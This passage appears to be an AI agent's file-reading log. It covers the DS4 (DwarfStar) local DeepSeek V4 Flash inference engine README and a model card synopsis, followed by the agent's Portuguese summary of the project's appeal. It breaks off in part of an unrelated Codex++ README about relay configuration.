chunk N. The\n232|distributed rows below were measured with two M5 Max 128 GB MacBooks connected\n233|by Thunderbolt 5, using the Q4 Flash GGUF and the default 4096-token\n234|distributed prefill chunk. The single-process column is a reference run with\n235|the Q2 GGUF on a single machine, so it actually is a bit faster since\n236|the routed MoEs are smaller.\n237|\n238|| Prompt | Single-process reference | Two MacBooks | Speedup |\n239|| ---: | ---: | ---: | ---: |\n240|| 9421 tokens | 421.70 t/s | 582.22 t/s | 1.38x |\n241|| 28684 tokens | 405.30 t/s | 674.16 t/s | 1.66x |\n242|| 63819 tokens | 353.62 t/s | 654.79 t/s | 1.85x |\n243|\n244|Generation is different. **It is strictly autoregressive**: token N+1 cannot start\n245|until token N has produced logits and sampling has selected the next token. That\n246|means distributed generation cannot use the long prefill pipeline. It pays at\n247|least one cross-machine activation hop per generated token, so generation is\n248|slower than a single local process. On the same two-Mac Thunderbolt setup, a\n249|12k-context control run with the 91 GB Flash quant went from 30.59 t/s\n250|single-process to 24.67 t/s distributed, a 19.4% loss. Distributed inference is\n251|therefore mainly for fitting larger models and speeding up long prefills, not\n252|for making decode faster.\n253|\n254|The measurements above use a Thunderbolt 5 cable. The implementation is plain\n255|TCP and also works over slower links, including WiFi, but fast Ethernet or\n256|Thunderbolt networking is strongly recommended. Slow links mostly hurt\n257|generation latency and short prefills; large prefills can still benefit when\n258|the layer split is balanced. In the normal performance path, the last worker\n259|owns the output head and returns logits directly.\n260|\n261|Minimal two-host configuration:\n262|\n263|```sh\n264|# Machine A: coordinator, owns tokenization, sampling, the prompt, and layers 0..19.\n265|./ds4 \\\n266|  -m gguf/DeepSeek-V4-Flash-Q4KExperts-F16HC-F16Compressor-F16Indexer-Q8Attn-Q8Shared-Q8Out-chat-v2.gguf \\\n267|  --role coordinator \\\n268|  --layers 0:19 \\\n269|  --listen 169.254.43.68 1234\n270|\n271|# Machine B: worker, connects to A and owns layers 20..output.\n272|./ds4 \\\n273|  -m gguf/DeepSeek-V4-Flash-Q4KExperts-F16HC-F16Compressor-F16Indexer-Q8Attn-Q8Shared-Q8Out-chat-v2.gguf \\\n274|  --role worker \\\n275|  --layers 20:output \\\n276|  --coordinator 169.254.43.68 1234\n277|```\n278|\n279|Normally the final worker should own the output head too, for example\n280|`--layers 20:output`. This avoids returning a full final hidden-state batch\n281|after prefill and lets the final worker produce the logits directly. On very\n282|slow or metered links, `--layers 20:42` is also supported: the coordinator will\n283|load the output head and compute logits locally, trading extra coordinator work\n284|for smaller per-token replies.\n285|\n286|### Network Link Comparison\n287|\n288|The table below shows the same two M5 Max hosts, the same 91 GB Flash quant,\n289|coordinator `--layers 0:19`, worker `--layers 20:output`, an 8192-token prompt\n290|from `speed-bench/promessi_sposi.txt`, and 128 generated tokens. WiFi and\n291|Internet numbers vary with local conditions, but the shape is the important\n292|part: high latency hurts generation directly, while lower bandwidth also pulls\n293|down long-prefill speed.\n294|\n295|| Link | Addresses | Ping avg | Prefill | Generation |\n296|| --- | --- | ---: | ---: | ---: |\n297|| Thunderbolt 5 | `169.254.43.68` -> `169.254.12.245` | 0.45 ms | 582.99 t/s | 25.09 t/s |\n298|| WiFi | `192.168.1.57` -> `192.168.1.95` | 77.20 ms | 250.70 t/s | 10.70 t/s |\n299|| Internet / VPN | `10.77.0.4` -> `10.77.0.3` | 152.10 ms | 114.88 t/s | 3.63 t/s |\n300|\n301|The Internet/VPN case is not meant to be a good interactive experience. It is\n302|still useful for collective testing: multiple people can temporarily combine\n303|machines to run a larger model that would not fit on any single host, accepting\n304|slow decode in exchange for being able to inspect the model at all.\n305|\n306|Use the coordinator exactly like normal `./ds4`: interactive chat, `/read`,\n307|and ordinary generation go through the same high-level session API. The same\n308|distributed options are also wired into `ds4-agent`, `ds4-eval`, and\n309|`ds4-bench`. For benchmarks, workers should already be running; `ds4-bench`\n310|waits until a complete route is available.\n311|\n312|Useful tuning and diagnostics:\n313|\n314|```sh\n315|./ds4-bench \\\n316|  -m gguf/DeepSeek-V4-Flash-Q4KExperts-F16HC-F16Compressor-F16Indexer-Q8Attn-Q8Shared-Q8Out-chat-v2.gguf \\\n317|  --prompt-file speed-bench/promessi_sposi.txt \\\n318|  --ctx-start 32768 \\\n319|  --ctx-max 65536 \\\n320|  --step-incr 32768 \\\n321|  --gen-tokens 0 \\\n322|  --role coordinator \\\n323|  --layers 0:19 \\\n324|  --listen 169.254.43.68 1234 \\\n325|  --debug\n326|```\n327|\n328|`--debug` on the coordinator prints route formation and per-hop telemetry:\n329|layer range, token span, local evaluation time, downstream wait time, socket\n330|send time, and input/output byte counts. This is the current profiling tool for\n331|deciding whether a split is balanced. `--dist-prefill-window N` controls how\n332|many prefill chunks may be in flight end-to-end; the default is conservative\n333|and bounded. `--dist-prefill-chunk N` exists for experiments, but the default\n334|4096-token chunk is the canonical setting and should be used unless you are\n335|explicitly validating a different chunk size.\n336|\n337|By default DS4 sends hidden-state activations as 32-bit floats. To reduce\n338|traffic, pass `--dist-activation-bits 16` or `--dist-activation-bits 8` on the\n339|coordinator. This changes only the transport format between machines, not the\n340|model weights or KV cache. 16-bit transport halves activation traffic and is the\n341|first option to try on Ethernet or WiFi. 8-bit transport is more aggressive and\n342|should be treated as an approximate/experimental mode unless you have validated\n343|the output for your use case. However experimentally reduction activation\n344|size didn't provide a significant improvement, so this option may be removed\n345|in the future.\n346|\n347|**If a worker disconnects, the coordinator removes that worker from the active\n348|route**. The request already in flight can fail, and later calls report an\n349|incomplete route until a compatible worker reconnects and sends a new\n350|registration. For live sessions, the coordinator keeps the token history and can\n351|rebuild worker KV state by replaying the prefix when the route is available\n352|again. Workers also validate a rolling 64-bit token-prefix hash on every work\n353|item, so a restarted worker at position 0 cannot silently accept work for\n354|position N; it reports the mismatch and the coordinator replays the current\n355|transcript. Ctrl+C in the CLI and agent is cooperative: DS4 waits for the\n356|current distributed token or prefill chunk to drain before returning control,\n357|which avoids coordinator-caused KV splits. Saved agent/server sessions use the\n358|same KV file format as single-machine sessions: during save the coordinator\n359|fetches worker-owned layer tensors and serializes one normal payload; during\n360|load it splits that payload over the currently registered route.\n361|\n362|### Distributed protocol overview\n363|\n364|At the protocol level there are two kinds of connections. Workers keep a\n365|control TCP connection open to the coordinator and send a `HELLO` with their\n366|model ID, model family, quant profile, layer slice, context capacity, and data\n367|port. The coordinator uses these registrations to build a route that covers all\n368|layers. Work then moves over low-latency TCP data connections: the coordinator\n369|computes the first slice, sends a `WORK` frame with session ID, token positions,\n370|rolling token-prefix hashes before and after the span, route information, and\n371|hidden-state payload, and each worker computes its slice. Middle workers can\n372|forward directly to the next worker. The final worker returns logits to the\n373|coordinator, or ACKs for non-final prefill chunks so the prefill pipeline can\n374|stay full. `RESULT` frames echo the request ID and the post-span hash. A worker\n375|status error is handled differently from a socket failure: KV/hash mismatch can\n376|be recovered by replaying the token history on the same route, while transport\n377|failure drops the route and waits for a replacement worker. For persistent KV,\n378|the coordinator opens worker data connections and sends snapshot save/load\n379|messages for each worker-owned layer range; the disk payload remains a single\n380|agent/server cache file. The protocol has no\n381|encryption or authentication, and is not release-stable yet; coordinator and\n382|workers should be built from the same commit and used on trusted machines and\n383|trusted networks.\n384|\n385|## Reducing heat, power usage and fan noise\n386|\n387|Long local inference runs can keep the GPU busy for extended periods. If you\n388|care more about heat, fan noise, battery life on MacBooks, or reducing thermal\n389|stress on the hardware than about maximum throughput, use `--power N`.\n390|\n391|`--power 100` is the default and means full speed. Lower values ask DS4 to target\n392|that percentage of GPU usage: `--power 70` targets about 70%, `--power 50`\n393|targets about half usage, and so forth. DS4 does this by measuring GPU work time\n394|and inserting small sleeps between work units: during prefill it sleeps between\n395|layers, and during generation it sleeps between decoded tokens. This reduces\n396|sustained load without changing model output.\n397|\n398|The option is available on the CLI, server, agent, eval, and benchmark tools,\n399|for example:\n400|\n401|```sh\n402|./ds4 --power 50\n403|./ds4-agent --power 70\n404|./ds4-server --power 40 --ctx 100000\n405|```\n406|\n407|## Native agent\n408|\n409|DwarfStar features a native coding agent that works in a different way\n410|than most other systems: the inference is controlled from within the agent\n411|itself, without socket/API boundaries, so the session is represented\n412|by the on-disk KV cache itself. Moreover the tools and the system prompt\n413|are all designed vertically for DeepSeek v4 Flash and PRO. This provides a\n414|few advantages:\n415|\n416|* Low latency experience, bounded mainly by the prefill speed limits. Displaying of generated text, tool calling, start of a new session are always instantaneous.\n417|* Live progress bar during prefill time.\n418|* No DSML tool calling conversion, the tools are handled natively in the LLM format.\n419|* KV cache mismatch are impossible by construction, the current state is always the truth.\n420|* Everything is tuned for this model.\n421|* Ability to switch saved sessions with `/list` and `/switch`; full KV sessions resume without a prefill stage.\n422|\n423|Agent sessions are stored in `~/.ds4/kvcache`. Use `/save` to persist the\n424|current session, `/list` to show saved sessions sorted by recent update time,\n425|and `/switch <sha>` to resume one of them. The session ID is stable across\n426|future saves and is derived from the first user prompt and creation time.\n427|`/del <sha>` removes a saved session. `/strip <sha>` keeps the rendered\n428|conversation text and title but removes the heavy KV payload; switching to a\n429|stripped session rebuilds the KV cache by prefilling the saved text.\n430|\n431|Use `--chdir /path/to/ds4` when launching `ds4-agent` from another directory,\n432|so relative runtime files such as `metal/*.metal` resolve from the project tree.\n433|\n434|However while the system already works, there is a lot of work to do\n435|in order to make it ready for prime time. When finally the agent will reach\n436|the wanted shape, we will *likely* split the server and the client creating a stateful\n437|session-based protocol that can recreate all that in a client-server way.\n438|\n439|## Benchmarking\n440|\n441|`ds4-bench` measures instantaneous prefill and generation throughput at context\n442|frontiers instead of reporting one whole-run average. It loads the model once,\n443|walks a fixed token sequence to frontiers such as 2048, 4096, 6144, and uses\n444|incremental prefill so each row measures only the newly-added token interval.\n445|After each frontier it saves the live KV state to memory, generates a fixed\n446|greedy non-EOS probe, restores the memory snapshot, and continues prefill.\n447|\n448|```sh\n449|./ds4-bench \\\n450|  -m ds4flash.gguf \\\n451|  --prompt-file speed-bench/promessi_sposi.txt \\\n452|  --ctx-start 2048 \\\n453|  --ctx-max 65536 \\\n454|  --step-incr 2048 \\\n455|  --gen-tokens 128\n456|```\n457|\n458|The example file is a cleaned public-domain Project Gutenberg text of\n459|Alessandro Manzoni's *I Promessi Sposi* (ebook #45334), with the Gutenberg\n460|header and footer removed: <https://www.gutenberg.org/ebooks/45334>.\n461|\n462|Use `--step-incr N` for different linear spacing, or `--step-mul F` for\n463|exponential sweeps. Output is CSV with one row per frontier: latest prefill\n464|interval tokens/sec, generation tokens/sec at that frontier, and\n465|`kvcache_bytes`.\n466|\n467|Sessions prefill long prompts in 4096-token chunks by default. Set\n468|`DS4_METAL_PREFILL_CHUNK=N` to compare another chunk size, for example `2048`\n469|to match the strict official-vector checkpoint path, or\n470|`DS4_METAL_PREFILL_CHUNK=0` to prefill a prompt as one whole batch when memory\n471|allows. Changing the chunk changes the KV checkpoint/logit path, so compare it\n472|as an explicit run configuration.\n473|Chunked Metal prefill reuses the same range-capable layer-major graph for each\n474|chunk, preserving absolute compressor/indexer boundaries while avoiding the old\n475|per-layer chunk dispatch path.\n476|\n477|## Capability Evaluation\n478|\n479|`ds4-eval` is a small real-model integration benchmark. It is not a leaderboard\n480|runner and should not be reported as an official GPQA, SuperGPQA, AIME, or\n481|security benchmark score: the questions are an embedded 92-item subset chosen\n482|to make local regression testing useful and visually inspectable. The program\n483|loads the real GGUF,\n484|renders DS4 chat prompts, streams sampled tokens in a split-screen TUI, grades\n485|the final answer, and prints a per-question report with prompt tokens,\n486|generated tokens, pass/fail state, the model answer, and the correct answer.\n487|\n488|```sh\n489|./ds4-eval -m ds4flash.gguf --trace /tmp/ds4-eval.txt\n490|```\n491|\n492|The default run uses `--tokens 16000`, thinking mode enabled, and a soft/hard\n493|`</think>` budget cutoff so the model has room to produce a visible answer.\n494|`ds4-eval` sizes the context internally from the largest selected prompt plus\n495|the generation budget, and refuses runs that would need more than 1M context\n496|tokens. Press `p` to pause, `q` to exit and print the report, Up/Down to\n497|inspect or select another question, and Enter to run the selected question next.\n498|`--plain` disables the TUI.\n499|\n500|Use `--regrade-trace /path/to/trace.txt` to replay the current answer\n501|", "total_lines": 1158, "file_size": 55151, "truncated": true, "hint": "Use offset=501 to continue reading (showing 1-500 of 1158 lines)", "is_binary": false, "is_image": false} read_file

They both report\n627|the model currently loaded from the GGUF passed with `-m`; the endpoint name does\n628|not select a different model.\n629|\n630|`/v1/chat/completions` accepts the usual OpenAI-style `messages`,\n631|`max_tokens`/`max_completion_tokens`, `temperature`, `top_p`, `top_k`, `min_p`,\n632|`seed`, `stream`, `stream_options.include_usage`, `tools`, and `tool_choice`.\n633|Tool schemas are rendered into DeepSeek's DSML tool format, and generated DSML\n634|tool calls are mapped back to OpenAI tool calls.\n635|\n636|`/v1/responses` accepts OpenAI Responses-style `input`, `instructions`,\n637|`tools`, `tool_choice`, `max_output_tokens`, `temperature`, `top_p`, `stream`,\n638|and `reasoning`. It is the preferred endpoint for Codex CLI. The server keeps\n639|Responses continuations bound to live state when possible, and can fall back to\n640|the same DSML rendering and KV prefix reuse used by chat completions.\n641|\n642|`/v1/messages` is the Anthropic-compatible endpoint used by Claude Code style\n643|clients. It accepts `system`, `messages`, `tools`, `tool_choice`, `max_tokens`,\n644|`temperature`, `top_p`, `top_k`, `stream`, `stop_sequences`, and thinking\n645|controls. Tool uses are returned as Anthropic `tool_use` blocks.\n646|\n647|Default sampled API generation uses `temperature=1`, `top_p=1`, and\n648|`min_p=0.05`, so the default filter is relative probability rather than\n649|nucleus mass. In thinking mode DS4 uses those fixed sampling defaults and\n650|ignores client sampling knobs, matching DeepSeek's fixed-thinking API behavior.\n651|\n652|The chat, Responses, and Anthropic endpoints support SSE streaming. In thinking\n653|mode, reasoning is streamed in the native API shape instead of being mixed into\n654|final text. OpenAI chat streaming\n655|also streams tool calls as soon as the DSML invocation is recognized: the tool\n656|header is sent first, then parameter bytes are forwarded as\n657|`tool_calls[].function.arguments` deltas while generation continues. The\n658|Anthropic endpoint streams thinking and text live, then emits structured\n659|`tool_use` blocks when the generated tool block is complete.\n660|The Responses endpoint streams the Responses event lifecycle expected by Codex,\n661|including `response.output_text.delta`, function-call argument events, and\n662|terminal `response.completed` / `response.incomplete` / `response.failed`\n663|events.\n664|\n665|For browser JavaScript clients served from another origin, start the server with\n666|`--cors` to emit `Access-Control-Allow-*` headers. This only changes HTTP\n667|headers; it does not expose the server on the LAN. Use `--host 0.0.0.0`\n668|explicitly when remote machines should be able to connect.\n669|\n670|### Tool call handling and canonicalization\n671|\n672|DeepSeek V4 emits tool calls as [DSML text](https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro/blob/main/encoding/README.md). Agent clients do not send that\n673|same text back on the next request: they send normalized OpenAI/Anthropic JSON\n674|tool-call objects. **If the server re-rendered those objects slightly\n675|differently, the rendered byte prefix would no longer match the live KV\n676|checkpoint** and the next turn would have to be rebuilt.\n677|\n678|The first line of defense is exact replay. Every tool call gets an unguessable\n679|API tool ID, and the server remembers `tool id -> exact sampled DSML block` in\n680|a bounded in-memory map backed by radix trees. When the client later sends that\n681|tool ID back, the prompt renderer uses the exact DSML bytes the model sampled,\n682|not a freshly formatted approximation. This map can also be saved inside KV\n683|cache files, so exact replay survives server restarts for cached histories.\n684|\n685|**Canonicalization is only the backup path**. If the exact DSML block is missing,\n686|or exact replay is disabled with `--disable-exact-dsml-tool-replay`, the server\n687|renders a deterministic DSML form from the JSON tool object. After a tool-call\n688|turn, it compares the live sampled token stream with the prompt that the next\n689|client request will render. If needed, it rewrites the live checkpoint, or\n690|falls back to an older disk KV snapshot and replays only the suffix. This keeps\n691|the model continuation aligned with the stateless API transcript.\n692|\n693|During generation, the server also treats DSML syntax differently from payload.\n694|When the model is emitting stable protocol structure such as DSML tags,\n695|parameter headers, JSON punctuation, or closing markers, sampling is forced to\n696|`temperature=0` so the tool call stays parseable. This greedy mode does **not**\n697|apply to argument payloads: `string=true` parameter bodies and JSON string\n698|values, including file contents and edit text, use the request's normal sampling\n699|settings. That separation is important: deterministic decoding is helpful for\n700|syntax, but can create repeated text when applied to long code or file bodies.\n701|\n702|Minimal OpenAI example:\n703|\n704|```sh\n705|curl http://127.0.0.1:8000/v1/chat/completions \\\n706|  -H 'Content-Type: application/json' \\\n707|  -d '{\n708|    \"model\":\"deepseek-v4-flash\",\n709|", "total_lines": 1158, "file_size": 55151, "truncated": true, "hint": "Use offset=709 to continue reading (showing 501-708 of 1158 lines)", "is_binary": false, "is_image": false} read_file

  {"content": "1|# DeepSeek v4 model card synopsis\n2|\n3|This document extracts the most important information from the official\n4|DeepSeek-V4-Flash Hugging Face model card, with emphasis on facts that matter\n5|for local inference, DS4 development, and benchmark interpretation.\n6|\n7|Source: https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash\n8|\n9|## Model Family\n10|\n11|DeepSeek-V4 is a preview model family with two Mixture-of-Experts language\n12|models:\n13|\n14|| Model | Total parameters | Active parameters | Context length |\n15||---|---:|---:|---:|\n16|| DeepSeek-V4-Flash | 284B | 13B | 1M tokens |\n17|| DeepSeek-V4-Pro | 1.6T | 49B | 1M tokens |\n18|\n19|Flash is the smaller and more efficient model. The model card says Flash-Max can\n20|approach Pro reasoning performance when given a larger thinking budget, while\n21|remaining behind Pro on pure knowledge and the most complex agentic tasks.\n22|\n23|## Architecture\n24|\n25|DeepSeek-V4 uses long-context compressed attention. The model card calls the\n26|hybrid design Compressed Sparse Attention (CSA) plus Heavily Compressed\n27|Attention (HCA). In DS4 terms, each layer keeps a raw sliding-window KV cache\n28|for the latest 128 tokens. This is the high-resolution local context.\n29|\n30|After that raw window, the model uses layer-dependent compressed KV rows:\n31|\n32|| 0-based layer indexes | DS4 ratio | Extra state | Meaning |\n33||---|---:|---|---|\n34|| 0, 1 | none | none | Raw 128-token sliding window only |\n35|| even layers from 2 onward | 4 | compressed KV + indexer KV | One compressed row per 4 tokens, with an indexer selecting visible compressed rows |\n36|| odd layers from 3 onward | 128 | compressed KV | One compressed row per 128 tokens |\n37|\n38|So, after the first two layers, the model alternates ratio-4 and ratio-128\n39|compressed attention. A token in a compressed layer attends over both the raw\n40|latest-128-token window and the older compressed history. The compression here\n41|is time-axis compression: several token positions are pooled into one KV row.\n42|The attention rows still use the model attention/value dimensions, so raw and\n43|compressed rows can be consumed by the same mixed-attention computation.\n44|\n45|Ratio-4 layers are the selective compressed-attention layers. They maintain a\n46|second compressed stream for the indexer, and when the compressed history is\n47|larger than the configured top-k, DS4 scores the compressed rows and selects up\n48|to 512 of them for attention. Ratio-128 layers are the heavily compressed path:\n49|they do not have the indexer stream and use the available ratio-128 compressed\n50|rows directly.\n51|\n52|DS4 validates these details from the GGUF metadata. The relevant fixed\n53|implementation constants are:\n54|\n55|- Layers: 43\n56|- Raw sliding-window attention: 128 tokens\n57|- Indexer heads: 64\n58|- Indexer head dimension: 128\n59|- Indexer top-k: 512\n60|\n61|This is the practical reason the model can expose a 1M-token context without a\n62|standard full KV cache for every token in every layer. The model card reports\n63|that, at 1M tokens, DeepSeek-V4-Pro needs much less single-token inference\n64|compute and KV cache than DeepSeek-V3.2.\n65|\n66|The family also uses:\n67|\n68|- Manifold-Constrained Hyper-Connections (mHC), intended to improve signal\n69|  propagation stability across layers.\n70|- The Muon optimizer, used for faster convergence and training stability.\n71|- A post-training pipeline with domain expert cultivation followed by unified\n72|  consolidation via on-policy distillation.\n73|\n74|## Precision And Weights\n75|\n76|Official download entries include:\n77|\n78|| Model | Precision |\n79||---|---|\n80|| DeepSeek-V4-Flash-Base | FP8 Mixed |\n81|| DeepSeek-V4-Flash | FP4 + FP8 Mixed |\n82|| DeepSeek-V4-Pro-Base | FP8 Mixed |\n83|| DeepSeek-V4-Pro | FP4 + FP8 Mixed |\n84|\n85|For the instruct models, the model card describes FP4 + FP8 Mixed as using FP4\n86|for MoE expert parameters and FP8 for most other parameters.\n87|\n88|## Reasoning Modes\n89|\n90|The instruct models support three reasoning-effort modes:\n91|\n92|| Mode | Intended behavior | Output shape |\n93||---|---|---|\n94|| Non-think | Fast, intuitive replies | `</think>` summary |\n95|| High | Deliberate reasoning for harder tasks | `<think>... </think>` summary |\n96|| Max | Largest reasoning budget | Special system prompt plus thinking and summary |\n97|\n98|The model card recommends using at least a 384K-token context window for Think\n99|Max.\n100|\n101|## Important Flash Benchmarks\n102|\n103|### DeepSeek-V4-Flash Across Reasoning Modes\n104|\n105|| Benchmark | Non-Think | High | Max |\n106||---|---:|---:|---:|\n107|| GPQA Diamond Pass@1 | 71.2 | 87.4 | 88.1 |\n108|| MMLU-Pro EM | 83.0 | 86.4 | 86.2 |\n109|| SimpleQA-Verified Pass@1 | 23.1 | 28.9 | 34.1 |\n110|| Chinese-SimpleQA Pass@1 | 71.5 | 73.2 | 78.9 |\n111|| HLE Pass@1 | 8.1 | 29.4 | 34.8 |\n112|| LiveCodeBench Pass@1 | 55.2 | 88.4 | 91.6 |\n113|| HMMT 2026 Feb Pass@1 | 40.8 | 91.9 | 94.8 |\n114|| IMOAnswerBench Pass@1 | 41.9 | 85.1 | 88.4 |\n115|| SWE Verified Resolved | 73.7 | 78.6 | 79.0 |\n116|| Terminal Bench 2.0 Acc | 49.1 | 56.6 | 56.9 |\n117|| MCPAtlas Pass@1 | 64.0 | 67.4 | 69.0 |\n118|| Toolathlon Pass@1 | 40.7 | 43.5 | 47.8 |\n119|\n120|### DeepSeek-V4-Flash-Base\n121|\n122|The base-model table reports these Flash-Base scores:\n123|\n124|| Benchmark | Shots | Score |\n125||---|---:|---:|\n126|| SuperGPQA EM | 5-shot | 46.5 |\n127|| MMLU EM | 5-shot | 88.7 |\n128|| MMLU-Pro EM | 5-shot | 68.3 |\n129|| Simple-QA verified EM | 25-shot | 30.1 |\n130|| HumanEval Pass@1 | 0-shot | 69.5 |\n131|| GSM8K EM | 8-shot | 90.8 |\n132|| LongBench-V2 EM | 1-shot | 44.7 |\n133|\n134|The model card reports SuperGPQA for the base model table, not in the instruct\n135|reasoning-mode comparison table.\n136|\n137|## Chat Template And Encoding\n138|\n139|The release does not use a Jinja chat template as the source of truth. The\n140|official prompt renderer is the Python code in\n141|`encoding/encoding_dsv4.py`, with examples and tests in the same `encoding`\n142|directory:\n143|\n144|- https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash/raw/main/encoding/encoding_dsv4.py\n145|- https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash/raw/main/encoding/test_encoding_dsv4.py\n146|\n147|The important special tokens are:\n148|\n149|| Purpose | Token |\n150||---|---|\n151|| Beginning of sequence | `<｜begin▁of▁sentence｜>` |\n152|| End of assistant turn | `<｜end▁of▁sentence｜>` |\n153|| User turn prefix | `<｜User｜>` |\n154|| Assistant turn prefix | `<｜Assistant｜>` |\n155|| Latest reminder prefix | `<｜latest_reminder｜>` |\n156|| Thinking start | `<think>` |\n157|| Thinking end / non-thinking marker | `</think>` |\n158|| DSML tool markup marker | `｜DSML｜` |\n159|\n160|The renderer accepts `system`, `user`, `assistant`, `tool`,\n161|`latest_reminder`, and `developer` roles. The `developer` role is described in\n162|the Python comments as an internal search-agent role, not as a normal public\n163|chat role.\n164|\n165|Normal chat mode starts with the BOS token, then system text if present, then\n166|alternating user and assistant markers. In non-thinking chat mode, a new\n167|assistant generation is opened with:\n168|\n169|```text\n170|<｜Assistant｜></think>\n171|```\n172|\n173|That immediate `</think>` tells the model to skip hidden reasoning and produce\n174|the visible answer. In thinking mode, a new assistant generation is opened with:\n175|\n176|```text\n177|<｜Assistant｜><think>\n178|```\n179|\n180|Completed assistant thinking turns are rendered as reasoning content inside\n181|`<think>...</think>`, followed by the visible answer and the EOS token.\n182|\n183|By default, the Python renderer drops earlier assistant reasoning content before\n184|the last user message. If tools are present on any message, it disables that\n185|reasoning drop and keeps the full reasoning/tool context. `reasoning_effort=max`\n186|also prepends a special high-effort instruction prefix before the first rendered\n187|message in thinking mode.\n188|\n189|Tool definitions are passed in OpenAI-compatible function schema form, but the\n190|model is instructed to emit DSML. A tool call is rendered as a DSML\n191|`tool_calls` block containing one or more `invoke` entries, each with named\n192|parameters. Parameters carry a `string=\"true\"` flag for raw strings and\n193|`string=\"false\"` for JSON values such as numbers, booleans, arrays, or objects.\n194|\n195|DeepSeek-V4 does not render standalone `tool` role messages. The Python\n196|preprocessor converts tool results into user content blocks and renders each\n197|result as:\n198|\n199|```text\n200|<tool_result>...</tool_result>\n201|```\n202|\n203|Tool-result bodies are rendered as raw text. Literal `<`, `>`, and `&` from\n204|file contents or shell output are preserved; only the exact closing sentinel\n205|`</tool_result>` is escaped so the wrapper cannot be terminated by data.\n206|\n207|When there are multiple tool results, the renderer sorts them to match the\n208|order of the preceding assistant tool calls.\n209|\n210|The same script also defines special task tokens for internal quick tasks such\n211|as title generation, search-query generation, action selection, authority\n212|classification, domain classification, and URL-read decisions. Those are\n213|separate from normal chat/tool rendering.\n214|\n215|## Local Running Notes\n216|\n217|The model card lists vLLM and SGLang examples for OpenAI-compatible serving.\n218|For local deployment, it recommends:\n219|\n220|- `temperature = 1.0`\n221|- `top_p = 1.0`\n222|- At least 384K context for Think Max\n223|\n224|These are deployment recommendations from the model card, not necessarily the\n225|same settings used for deterministic benchmarking. DS4 keeps `top_p=1.0` but\n226|adds a local `min_p=0.05` default to avoid sampling tokens whose probability is\n227|far below the best token.\n228|\n229|## Licensing\n230|\n231|The repository and model weights are licensed under the MIT License.\n232|\n233|## Citation\n234|\n235|The model card cites:\n236|\n237|```bibtex\n238|@misc{deepseekai2026deepseekv4,\n239|      title={DeepSeek-V4: Towards Highly Efficient Million-Token Context Intelligence},\n240|      author={DeepSeek-AI},\n241|      year={2026},\n242|}\n243|```\n244|", "total_lines": 243, "file_size": 9309, "truncated": false, "is_binary": false, "is_image": false} read_file

  # Análise do Repositório `antirez/ds4`

  ## Problema que resolve
  O **DwarfStar** nasceu da necessidade de uma engine de inferência local **específica e polida** para o **DeepSeek V4 Flash**, um modelo de 284B parâmetros (13B ativos) capaz de rodar em máquinas pessoais high-end com 96–128 GB de RAM. A proposta é diferente de runners genéricos de GGUF: é uma engine fechada, _end-to-end_, com:
  - Carregamento de GGUF próprios (não aceita qualquer arquivo GGUF)
  - KV cache comprimido com persistência **em disco**
  - Prompt rendering, tool calling e tratamento de estado de conversação
  - Server API OpenAI/Anthropic-compatível
  - Agente de codificação integrado

  ---

  ## Tema principal de atuação
  **Inteligência Artificial / Inferência Local de LLMs de grande escala**

  É um projeto no limite entre research e produto, focado em **LLM inference em hardware local de alta gama** (MacBooks M-series, Mac Studio, DGX Spark).

  ---

  ## Razão do hype / tendência
  1. **Autor influente**: criado por Salvatore Sanfilippo (antirez), autor do Redis — traz atenção imediata da comunidade.
  2. **Acessibilidade inédita**: permite rodar um modelo de 284B parâmetros em um MacBook comum via quantização 2-bit especial.
  3. **Engineering de ponta**: otimizações profundas para Metal (Apple Silicon), CUDA (DGX Spark/GB10) e ROCm, com benchmarks públicos.
  4. **KV cache como cidadão de disco**: mudança de mentalidade — a cache não precisa mais morar só em RAM.
  5. **Inferência distribuída TCP**: possibilidade de "clusterar" CUDA/Metal via Thunderbolt ou WiFi para modelos que não cabem em uma máquina.
  6. **Corretude oficial**: validação contra logits oficiais do DeepSeek, algo raro em runners comunitários.
  7. **Agente nativo com baixa latência**: sem overhead de sockets entre agente e engine; tudo compartilha o mesmo KV cache.
  8. **Momentum do DeepSeek V4**: combina com a onda de modelos "massivos mas locais" (DeepSeek V4, Qwen3, Llama 4).

No `app.asar` patching and no DLL writes into the Codex installation.\n118|- Relay injection mode with multiple relay profiles, `CodexPlusPlus` provider configuration, and a one-click switch back to official ChatGPT login mode.\n119|- Traditional enhancement mode with plugin entry unlock, forced plugin install, session delete, Markdown export, project move, Timeline, and more.\n120|- Independent user script management with startup injection.\n121|- Provider Sync to keep historical sessions visible after switching providers.\n122|- Zed open entry detects remote SSH context and opens the matching remote file in Zed Remote Development from Codex.\n123|- Upstream worktree creation: create new worktrees from `upstream/<base-branch>` after fetching the remote branch, reducing conflicts caused by stale local HEAD state.\n124|- GitHub Release updates. Both the manager and silent launcher can detect available updates.\n125|- Windows single instance, no console window, administrator manifest, and system Desktop path detection.\n126|- Separate macOS x64 and arm64 DMGs. The silent launcher hides its Dock icon.\n127|\n128|## Relay Injection\n129|\n130|Relay injection is for users who are already logged in with an official ChatGPT account in Codex/ChatGPT and want model requests to go through a custom compatible API.\n131|\n132|In the manager's Relay Injection page:\n133|\n134|1. Make sure ChatGPT login status is detected.\n135|2. Add one or more relay profiles with Base URL and Key.\n136|3. Select the active profile and apply relay injection.\n137|4. Launch `Codex++`.\n138|\n139|Codex++ writes configuration similar to this into `~/.codex/config.toml`:\n140|\n141|```toml\n142|model_provider = \"CodexPlusPlus\"\n143|\n144|[model_providers.CodexPlusPlus]\n145|name = \"CodexPlusPlus\"\n146|wire_api = \"responses\"\n147|requires_openai_auth = true\n148|base_url = \"https://example.com/v1\"\n149|experimental_bearer_token = \"sk-...\"\n150|```\n151|\n152|To return to the official login mode, use the clear API mode button in the Relay Injection page. This removes `OPENAI_API_KEY` related configuration and switches Codex back to official ChatGPT authentication.\n153|\n154|## Enhancements\n155|\n156|Enhancements are controlled in the manager. Enhancement injection is enabled by default. When disabled, Codex++ will not inject its menu or scripts.\n157|\n158|When relay injection mode is active, plugin entry unlock and forced plugin install are unnecessary, and the UI will say so. Other enhancements, including session delete, export, move, Timeline, recommendations, and user scripts, can still be used.\n159|\n160|## Recommendations\n161|\n162|Recommended content is loaded from:\n163|\n164|```text\n165|https://raw.githubusercontent.com/BigPizzaV3/Ad-List/main/ads.json\n166|https://cdn.jsdelivr.net/gh/BigPizzaV3/Ad-List@main/ads.json\n167|```\n168|\n169|Requests automatically append a `?v=timestamp` cache buster to avoid stale 